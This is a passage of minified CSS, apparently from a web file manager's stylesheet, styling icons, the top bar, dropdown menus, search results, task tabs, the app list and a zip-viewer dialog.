\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');}.x-upload{background-image:url("../../../images/file_icon/icon_others/upload.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');}.x-setting{background-image:url("../../../images/file_icon/icon_others/setting.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');}.x-appStore{background-image:url("../../../images/file_icon/icon_others/appStore.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');}.x-error{background-image:url("../../../images/file_icon/icon_others/error.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');}.x-info{background-image:url("../../../images/file_icon/icon_others/info.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');}body{font-size:12px;padding:0px;margin:0px;font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}textarea,input,button,pre,p,.can_select{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}blockquote{padding:10px 20px;margin:0 0 20px 1em;border-left:10px solid #eee;background:#f6f6f6;}blockquote p{font-size:1em;margin:0px;}input,button,select,textarea{line-height:initial;}a{text-decoration:none;}a:focus{outline:none !important;}.content_box .ace_cjk{width:1em !important;}.content_box .ace_static_highlight{font-size:1.15em;}*,*:before,*:after{-webkit-box-sizing:inherit;-moz-box-sizing:inherit;box-sizing:inherit;}label{font-weight:normal;}pre{border:none;border-radius:0;}.btn-group-sm>.btn{padding:4px 10px;line-height:1em;}.btn{padding:6px 14px;border-radius:3px;}.btn .font-icon{color:#999;}.btn:focus{outline:none;}.btn.btn-default:active,.btn.btn-default.active{border-color:#ADADAD;color:#888;}.btn.btn-left{border-top-right-radius:0;border-bottom-right-radius:0;}.btn.btn-middle{border-radius:0;}.btn.btn-right{border-top-left-radius:0;border-bottom-left-radius:0;}.btn.btn-lg{padding:10px 16px;font-size:18px;line-height:1.33;}.btn.btn-nomal{padding:4px 12px;}.btn.btn-sm{padding:2px 10px;}.btn.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;}[class^="icon-"],[class*=" icon-"]{background-image:auto;}.dropdown-menu{left:auto;right:0px;border-radius:4px;border:1px solid rgba(0,0,0,0.05);box-shadow:0 4px 30px rgba(0,0,0,0.15);max-height:400px;}.dropdown-menu>li>a:hover,.dropdown-menu .this a,.dropdown-menu>li>a:focus{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;background-image:none;filter:none;background:#63acff;color:#fff;}.dropdown-menu>li>a{font-weight:inherit;color:#666;}.dropdown-menu>li>a .font-icon{opacity:0.8;}.dropdown-menu:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);border-right:6px solid rgba(0,0,0,0);border-bottom:6px solid #FFF;position:absolute;top:-6px;right:10px;}.dropdown-menu:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);top:-7px;border-bottom:7px solid #CCC;border-bottom-color:rgba(0,0,0,0.2);right:9px;}.dropdown-menu.menu-top:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);top:inherit;border-right:6px solid rgba(0,0,0,0);border-top:6px solid #FFF;border-bottom:none;position:absolute;bottom:-6px;right:10px;}.dropdown-menu.menu-top:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-bottom:none;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);bottom:-7px;border-top:7px solid #CCC;border-top-color:rgba(0,0,0,0.2);right:9px;top:inherit;}.disable,.disabled{cursor:not-allowed;pointer-events:none;}h1,h2,h3,h4,h5,.h1,.h2,.h3,.h4,.h5{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;}.can_select,.can_select *{-khtml-user-select:text !important;-webkit-user-select:text !important;-moz-user-select:text !important;-ms-user-select:text !important;-o-user-select:text !important;user-select:text !important;}.can_not_select,.can_not_select *{-khtml-user-select:none !important;-webkit-user-select:none !important;-moz-user-select:none !important;-ms-user-select:none !important;-o-user-select:none !important;user-select:none !important;}.pl-5{padding-left:5px;}.pl-10{padding-left:10px;}.pl-15{padding-left:15px;}.pl-20{padding-left:20px;}.pr-5{padding-right:5px;}.pr-10{padding-right:10px;}.pr-15{padding-right:15px;}.pr-20{padding-right:20px;}.ml-5{margin-left:5px;}.ml-10{margin-left:10px;}.ml-15{margin-left:15px;}.ml-20{margin-left:20px;}.mr-5{margin-right:5px;}.mr-10{margin-right:10px;}.mr-15{margin-right:15px;}.mr-20{margin-right:20px;}.fl{float:left;}.fl-left{float:left;}.fl-right{float:right;}.clear{clear:both;}.FontAwesome{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;}.translation-fast{-webkit-transition:all 0.168s ease-in-out;-moz-transition:all 0.168s ease-in-out;-o-transition:all 0.168s ease-in-out;-ms-transition:all 0.168s ease-in-out;transition:all 0.168s ease-in-out;}.translation-nomal{-webkit-transition:all 0.25s ease-in-out;-moz-transition:all 0.25s ease-in-out;-o-transition:all 0.25s ease-in-out;-ms-transition:all 0.25s ease-in-out;transition:all 0.25s ease-in-out;}.translation-slow{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-200{-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}.translation-300{-webkit-transition:all 0.3s ease-in-out;-moz-transition:all 0.3s ease-in-out;-o-transition:all 0.3s ease-in-out;-ms-transition:all 0.3s ease-in-out;transition:all 0.3s ease-in-out;}.translation-500{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-1000{-webkit-transition:all 1.0s ease-in-out;-moz-transition:all 1.0s ease-in-out;-o-transition:all 1.0s ease-in-out;-ms-transition:all 1.0s ease-in-out;transition:all 1.0s ease-in-out;}.aui_buttons button{font-size:1em;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dialogChangeMax,.dialogChangeMax .aui_main{-webkit-transition:all 0.25s;-moz-transition:all 0.25s;-o-transition:all 0.25s;-ms-transition:all 0.25s;transition:all 0.25s;}.aui_title span{position:absolute;width:80%;overflow:hidden;height:30px;word-break:break-all;text-overflow:ellipsis;white-space:nowrap;}.less-error-message{display:none;}input{border:1px solid #ddd;background:#fff;outline:none;}input[type="radio"],input[type="checkbox"]{border:none;background:none;}.topbar{width:100%;height:40px;color:#ddd;z-index:100;top:0;background:#63acff;position:fixed;}.topbar .content{padding:0px;line-height:40px;height:40px;wordbreak:break-all;}.topbar .content i.font-icon{display:inline-block;padding-right:10px;font-size:1.1em;}.topbar .content .topbar_menu{display:block;text-decoration:none;color:#fff;border:1px solid #4a9eff;overflow:hidden;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;padding:0px 1.2em;border-top:none;border-bottom:none;outline:none;float:left;margin-left:-1px;font-size:14px;}.topbar .content .topbar_menu.title{font-size:20px;width:200px;width:202px\0;padding:0;text-align:center;}.topbar .content .topbar_menu.title:hover{background:none;}.topbar .content .title img{max-width:200px;max-height:44px;}.topbar .content .open .topbar_menu,.topbar .content .topbar_menu:hover,.topbar .content .topbar_menu.this{background:#4a9eff;}.topbar .content .menu-desktop:before{content:"\f108";}.topbar .content .menu-explorer:before{content:"\f0ae";}.topbar .content .menu-editor:before{content:"\f044";}.topbar .content .top_left{overflow:hidden;height:40px;width:70%;}.topbar .content .top_right{position:absolute;right:0px;top:0px;margin-right:0px;height:40px;}.topbar .content .top_right .menu_group{height:40px;margin-right:-1px;float:left;position:relative;}.topbar .content .top_right .topbar_menu{display:inline-block;padding:0px 6px;margin-right:1px;}.topbar .content .top_right .topbar_menu i{padding-right:3px;}.topbar .content .top_right .btn{color:#fff;}.topbar .content .top_right ul a{line-height:30px;height:30px;display:block;padding:0px 1.7em;border:none;overflow:hidden;}.topbar .content .top_right ul a:hover,.topbar .content .top_right ul a.this{margin-right:0px;}.topbar .content .top_right ul a.this{background:#63acff;color:#fff;}.topbar .content .top_right ul .font-icon{width:18px;display:inline-block;}.topbar .content .top_right ul.dropdown-menu.topbar_language{width:480px;padding:10px 5px;}.topbar .content .top_right ul.dropdown-menu.topbar_language li{width:115px;float:left;}.topbar .content .top_right ul.dropdown-menu.topbar_language a{padding:0 8px 0 8px;height:26px;line-height:26px;font-size:13px;}.topbar .content .top_right ul.dropdown-menu.topbar_language i.flag{padding-right:0px;background-color:#eee;position:relative;top:1px;}.topbar .content .share_title{text-align:center;color:#fff;float:left;margin-left:8px;margin-right:7px;}.topbar .content .share_title_info{color:#fff;font-size:1.25em;background:#eee;background:rgba(0,0,0,0.2);border-radius:4px;padding:6px;}.topbar .content .share_info{color:#fff;float:left;font-size:1em;}.topbar .content .share_info .time{padding-left:5px;color:#fff;padding-right:8px;}.topbar .content .top_right div.share_info_user{margin-right:10px;color:#fff;position:relative;}.topbar .content .top_right div.share_info_user .btn_download,.topbar .content .top_right div.share_info_user .btn.button_my_share{padding:4px 20px;margin-left:5px;}.topbar .content .top_right div.share_info_user .dropdown-toggle{height:16px;}.common_footer{position:fixed;bottom:0px;background:#f8f8f8;color:#999;font-size:1em;width:100%;text-align:center;border-top:1px solid #e8e8e8;height:31px;line-height:32px;overflow:hidden;}.common_footer .copyright_bottom{cursor:pointer;font-size:1.25em;color:#aaa;text-decoration:none;}.common_footer .copyright_bottom:hover{color:#f60;border-bottom:none;}.label{font-weight:400;font-size:1em;}.label.label-blue-deep{background:#1b63ab;color:#fff;}.label.label-blue-nomal{background:#39f;color:#fff;}.label.label-blue-light{background:#d4e9ff;color:#39f;}.label.label-grey-deep{background:#464c5b;color:#fff;}.label.label-grey-nomal{background:#657180;color:#fff;}.label.label-grey-light{background:#9ea7b4;color:#fff;}.label.label-yellow-deep{background:#ff9900;color:#fff;}.label.label-yellow-nomal{background:#ffc267;color:#fff;}.label.label-yellow-light{background:#ffe2b6;color:#ff9900;}.label.label-green-deep{background:#068c49;color:#fff;}.label.label-green-nomal{background:#00cc66;color:#fff;}.label.label-green-light{background:#beffde;color:#068c49;}.do_search{color:#888;}.do_search .search_header{padding:10px;padding-bottom:0px;}.do_search .search_header input[type='checkbox']{padding-left:0px;}.do_search .search_header label{font-size:1em;}.do_search .search_header .btn-right{margin:-5px 0 0 -2px;height:25px;width:30px;padding:0;height:28px \9\0;}.do_search .search_header .s_br{margin-bottom:8px;line-height:25px;}.do_search .search_header #search_value,.do_search .search_header #search_path,.do_search .search_header #search_ext{height:23px;height:27px \0;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;width:125px;padding-left:10px;padding-right:10px;margin-left:5px;}.do_search .search_header #search_value:focus,.do_search .search_header #search_path:focus,.do_search .search_header #search_ext:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.do_search .search_header #search_value{width:190px;margin:0;padding:2px 5px 0px 5px;padding-top:1px \0;}.do_search #search_is_case{margin-left:10px;}.do_search .search_desc{height:30px;line-height:30px;text-align:center;font-size:13px;margin:0px 10px;border:1px solid #ddd;color:#3196e6;background-image:-webkit-linear-gradient(top,#fff,#def);border-top-left-radius:3px;border-top-right-radius:3px;}.do_search .search_result{overflow-y:auto;overflow-x:hidden;position:absolute;top:137px;bottom:0px;right:0px;left:0px;margin:10px;border:1px solid #ddd;border-top:none;border-bottom-left-radius:3px;border-bottom-right-radius:3px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-items{list-style:none;margin:0px;padding:10px 0;font-size:13px;}.do_search .search_result .file-item .file-info{height:25px;line-height:25px;cursor:default;padding-left:10px;font-size:13px;color:#444;position:relative;word-wrap:break-word;word-break:break-all;overflow:hidden;}.do_search .search_result .file-item .file-info:hover{background:#eee;}.do_search .search_result .file-item .file-info .title{height:25px;color:#666;padding-left:5px;}.do_search .search_result .file-item .file-info .title:hover{border-bottom:1px solid #1387bb;cursor:pointer;color:#1387bb;}.do_search .search_result .file-item .file-info .switch{width:20px;height:20px;display:inline-block;text-align:center;color:#aaa;font-size:14px;}.do_search .search_result .file-item .file-info .file-icon{display:inline-block;width:18px;height:18px;}.do_search .search_result .file-item .file-info .file-icon img{width:100%;height:100%;}.do_search .search_result .file-item .file-info .result-num{margin:0 5px;border-radius:10px;background-color:#dfeaf3;color:#666;font-size:12px;padding:3px 8px;font-weight:bold;}.do_search .search_result .file-item .file-info .goto{position:absolute;right:0;top:0;width:30px;height:25px;line-height:25px;text-align:center;color:#bbb;background:#fff;cursor:pointer;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-item .file-info .goto:hover{background:#fbbc00;color:#fff;}.do_search .search_result .file-item .file-info:hover .goto{display:block;}.do_search .search_result .file-item .keyword{background:#ffef65;color:#000;}.do_search .search_result .file-item .result-item{list-style:none;margin:0px;padding:0px;}.do_search .search_result .file-item .result-item .result-info{height:25px;margin:0px;padding:0;line-height:25px;padding:0 15px;cursor:default;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;}.do_search .search_result .file-item .result-item .result-info:hover{background:#eee;}.do_search .search_result .file-item .result-item .result-info.this,.do_search .search_result .file-item .result-item .result-info.this:hover{background:#63acff;}.do_search .search_result .file-item .result-item .result-info.this .line,.do_search .search_result .file-item .result-item .result-info.this .search-info,.do_search .search_result .file-item .result-item .result-info.this:hover .line,.do_search .search_result .file-item .result-item .result-info.this:hover .search-info{color:#fff;}.do_search .search_result .file-item .result-item .line{display:inline-block;width:32px;margin-left:7px;padding-right:4px;text-align:right;font-weight:800;color:#aaa;}.do_search .search_result .file-item .result-item .search-info{font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;color:#444;}.do_search .search_result .file-item.open .file-info .switch .icon-caret-right:before{content:"\f0d7";}#maskViewContent .upload-tips{text-align:center;}#maskViewContent .upload-tips .icon-cloud{opacity:0.8;}#maskViewContent .upload-tips .icon-cloud.cloud2{font-size:180px;}#maskViewContent .upload-tips .icon-cloud.cloud1,#maskViewContent .upload-tips .icon-cloud.cloud3{position:absolute;opacity:0.6;}#maskViewContent .upload-tips .icon-cloud.cloud1{margin-left:-60px;margin-top:110px;-webkit-animation:moveLeftLoop 8.0s infinite ease-in-out;animation:moveLeftLoop 8.0s infinite ease-in-out;}#maskViewContent .upload-tips .icon-cloud.cloud3{margin-left:-50px;margin-top:60px;font-size:60px;animation-delay:4s;-webkit-animation-delay:4s;-webkit-animation:moveLeftLoop 10.0s infinite ease-in-out;animation:moveLeftLoop 10.0s infinite ease-in-out;}#maskViewContent .upload-tips .cloud-moveup{height:70px;}#maskViewContent .upload-tips .cloud-moveup i{position:absolute;margin-left:-23px;margin-top:-16px;}.task_tab{position:fixed;bottom:1px;left:0;width:100%;height:30px;padding-left:50px;z-index:100;background:rgba(0,0,0,0.1);border-top:1px solid rgba(0,0,0,0.15);color:#444;}.task_tab .tabs{height:100%;margin-right:20px;margin-right:60px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.task_tab .tabs .tab{float:left;height:29px;margin-right:2px;white-space:nowrap;text-overflow:ellipsis;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;color:#fff;border-radius:3px;cursor:default;overflow:hidden;font-size:1em;box-shadow:0 0 6px #666;padding-left:4px;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.3)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.3),rgba(255,255,255,0));-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.task_tab .tabs .tab.hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.5),rgba(255,255,255,0));}.task_tab .tabs .tab.this{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.7)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.7),rgba(255,255,255,0));box-shadow:0 0 6px #000;}.tasktab-dragging{position:fixed;position:absolute;z-index:99999;height:30px;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0 0 3px #000;box-shadow:0 0 6px #000;padding-left:4px;white-space:nowrap;text-overflow:ellipsis;border-radius:3px;cursor:default;color:#fff;overflow:hidden;font-size:1em;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.8)', endColorstr='rgba(255,255,255,0.2)');background:rgba(255,255,255,0.2);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-o-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));-pie-background:linear-gradient(to top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));}.init_loading{position:fixed;left:50%;margin-left:-80px;top:40%;font-size:1.25em;z-index:999999;width:auto;}.init_loading div{padding:20px;background:#000;opacity:0.6;filter:alpha(opacity=60);margin:0 auto;color:#FFF;border-radius:6px;text-align:center;line-height:30px;}.init_loading img{border-radius:10px;}.space_info_bar{width:110px;}.space_info_bar .space_process{width:110px;height:6px;overflow:hidden;background-color:#ddd;margin:0px;border-radius:5px;}.space_info_bar .space_process .space_process_use{width:20%;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;height:100%;background-color:#428bca;border-radius:5px;}.space_info_bar .space_process .space_process_use.warning{background-color:#f00 !important;}.appbox{overflow:hidden;padding:0px 10px 0 0;}.appbox .appline{width:100%;margin-bottom:10px;line-height:20px;overflow:hidden;}.appbox .appline .left{float:left;width:80px;text-align:right;padding-right:14px;}.appbox .appline .right{float:left;}.appbox .appline input{margin-right:5px;}.appbox .appline label{display:inline-block;margin-left:-10px;padding:0 5px;}.appbox .appline input[type=text],.appbox .appline textarea{width:275px;padding:0px 5px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:28px;border-radius:3px;}.appbox .appline input[type=text]:focus,.appbox .appline textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.appbox .appline input[type=text].w30{width:50px;}.appbox .appline input[type=text].w20{width:30px;}.appbox .appline textarea{height:100px;}.appbox .appline.icon input{width:232px;}.appbox .appline.icon a{padding:2px 4px;top:0px;border:1px solid #CCC;}.appbox .appline.icon .open{margin-left:-12px;cursor:pointer;margin-top:-4px;font-size:14px;padding:3px 1em 4px 1em;}.appbox .appline.icon a img{width:20px;height:20px;}#body div.app_list{position:absolute;left:150px;width:initial;margin:15px 0 20px 15px;right:20px;padding-bottom:60px;}#body div.app_list .app-list{margin-top:10px;border-top:1px solid #ddd;}#body div.app_list .app-list .app_li{float:left;width:150px;height:150px;border:1px solid #e6e6e6;margin:20px 20px 0 0;list-style:none;border-radius:3px;box-shadow:0 2px 7px #f0f0f0;}#body div.app_list .app-list .app_li:hover{box-shadow:0 5px 20px #ddd;}#body div.app_list .app-list .app_li a.button{margin:0;}#body div.app_list .app-list .app_li a.icon{float:left;width:100%;background:#eee;text-align:center;padding:8px 0;}#body div.app_list .app-list .app_li a.icon img{width:64px;height:64px;border-radius:10px;box-shadow:0 0 10px #999;}#body div.app_list .app-list .app_li p{width:100%;text-align:center;margin:0;color:#666;height:25px;overflow:hidden;}#body div.app_list .app-list .app_li p span{display:block;word-break:break-all;}#body div.app_list .app-list .app_li p span.title{font-size:1.15em;line-height:33px;height:33px;}#body div.app_list .app-list .app_li p span.info{display:none;}#body div.app_list .app-list .app_li .btn-group{margin:8px auto;text-align:center;display:block;}#body div.app_list .app-list .app_li .btn-group .btn-default{width:70px;}#body div.app_list .app-list .app_li .btn-group>.btn{float:none;}#body div.app_list .app-list .app_li .btn-group .btn:first-child:not(:last-child):not(.dropdown-toggle){height:17px;width:70px;height:18px\0;}#body div.app_list .app-list .app_li .btn-group .btn+.dropdown-toggle{height:17px;color:#aaa;height:18px\0;width:8px;width:25px;padding-left:0;padding-right:0;}#body div.app_list .app-list .app_li .btn-group .dropdown-menu{min-width:100px;right:15px;}.zipViewDialog .aui_content{min-width:400px;position:relative;}.zipViewDialog .zipViewContent{position:absolute;left:0;right:0;top:35px;bottom:0;margin:0 10px 10px 10px;border-radius:3px;border:1px solid #eee;margin:0px;min-width:400px;border:none;top:0px;}.zipViewDialog .zipViewContent #folderListZip{padding:5px;}.zipViewDialog .zipViewContent .header_title{height:23px;line-height:23px;border-bottom:1px solid #ddd;border-top:1px solid #ddd;background:#f6f6f6 url("../../../images/common/bg.gif") 0 -30px;}.zipViewDialog .zipViewContent .header_title .item{float:left;}.zipViewDialog .zipViewContent .header_title .item span{display:block;border-right:1px solid #ddd;padding-left:10px;cursor:default;}.zipViewDialog .zipViewContent .header_title .name{width:60%;}.zipViewDialog .zipViewContent .header_title .size{width:10%;}.zipViewDialog .zipViewContent .header_title .mtime{width:30%;}.zipViewDialog .zipViewContent .header_title .item.mtime span{border-right:none;}.zipViewDialog .zipViewContent .ztree{padding:0px;position:absolute;top:25px;left:0;right:0px;bottom:26px;overflow:auto;}.zipViewDialog .zipViewContent .ztree li,.zipViewDialog .zipViewContent .ztree li ul{width:100%;}.zipViewDialog .zipViewContent .ztree li a{position:relative;padding-left:0;color:#333;text-shadow:none;}.zipViewDialog .zipViewContent .ztree li a:hover{transition:none;}.zipViewDialog .zipViewContent .ztree li a.odd{background:#f1f7ff;}.zipViewDialog .zipViewContent .ztree li a:hover,.zipViewDialog .zipViewContent .ztree li a.odd:hover{background:#eee;}.zipViewDialog .zipViewContent .ztree li a.curSelectedNode,.zipViewDialog .zipViewContent .ztree li a.odd.curSelectedNode{background:#63acff;color:#fff;}.zipViewDialog .zipViewContent .ztree li a .time{float:right;width:27%;padding-left:3%;opacity:0.8;font-size:12px;}.zipViewDialog .zipViewContent .ztree li a .size{float:right;width:10%;text-align:right;opacity:0.8;font-size:12px;}.zipViewDialog .zipViewContent .ztree li a .menu_more{display:none;position:absolute;right:0px;top:0;text-align:center;width:25px;height:24px;background:#fff;background:rgba(50,50,50,0.1);color:#666;}.zipViewDialog .zipViewContent .ztree li a:hover .menu_more{display:block;}.zipViewDialog .zipViewContent .ztree li a.curSelectedNode .menu_more{display:block;color:#fff;}.zipViewDialog .zipViewContent .bottom{position:absolute;left:0;right:0px;bottom:0;width:100%;text-align:center;height:25px;line-height:25px;font-size:12px;background:#f6f6f6 url("../../../images/common/bg.gif") 0 -30px;border-top:1px solid #eee;}.support_space_not .share_dialog .content_box .content_info{padding:30px 20px 30px 20px;}.support_space_not .system_conennt .right_frame .group_title .group_size{display:none !important;}.support_space_not .size_max_set,.support_space_not .user_setting_more_btn,.support_space_not .user_setting_more{display:none;}.support_space_not .user_list .space,.support_space_not .share_view_info,.support_space_not .user_space_info{display:none;}.support_space_not .frame-main .user_space_info{display:none;}.support_space_not .frame-main .frame-left .group_space_use{display:none;}.support_space_not .frame-main .frame-left #folderList{bottom:57px;}.dropdown-menu.menu-topbar_user{right:6px;}.version_vip{height:26px;line-height:26px;padding:0;opacity:0.7;filter:alpha(opacity=70);padding-left:25px;cursor:pointer;font-size:12px;display:block;color:#eee;background:#999;}.version_vip#version_vip_1{color:#bdeaff;background:#03a9f4;}.version_vip#version_vip_2{color:#ea9df7;background:#9c27b0;}.version_vip#version_vip_3{color:#fff;background:#ffc107;}.version_vip:hover{opacity:0.9;filter:alpha(opacity=90);text-decoration:none;}.version_license{width:250px;height:250px;overflow:hidden;position:absolute;z-index:9999;pointer-events:none;top:30px;left:0px;}.version_license a.line{position:absolute;pointer-events:all;width:300px;height:60px;line-height:60px;left:-70px;top:40px;font-size:20px;background:#ffc107;text-decoration:none;-webkit-transform:rotate(-45deg);-moz-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-transition:all 0.2;-moz-transition:all 0.2;-o-transition:all 0.2;-ms-transition:all 0.2;transition:all 0.2;text-align:center;color:#fff;opacity:0.8;filter:alpha(opacity=80);}.version_license a.line:hover{background:#ff9800;}.path_select_input{width:550px;padding:7px;background:rgba(255,255,255,0.3);border:1px solid rgba(100,100,100,0.3);color:#000;}.copyright_dialog{width:400px !important;}.copyright_dialog,.share_dialog,.check_version_dialog{min-width:400px;}.copyright_dialog.dialog-simple .aui_outer,.share_dialog.dialog-simple .aui_outer,.check_version_dialog.dialog-simple .aui_outer{overflow:inherit;box-shadow:0 0px 60px rgba(0,0,0,0.4);border:1px solid #ccc;border:1px solid rgba(0,0,0,0.2);}.copyright_dialog.dialog-simple .aui_header,.share_dialog.dialog-simple .aui_header,.check_version_dialog.dialog-simple .aui_header{background:transparent;opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_nw,.copyright_dialog.dialog-simple .aui_n,.copyright_dialog.dialog-simple 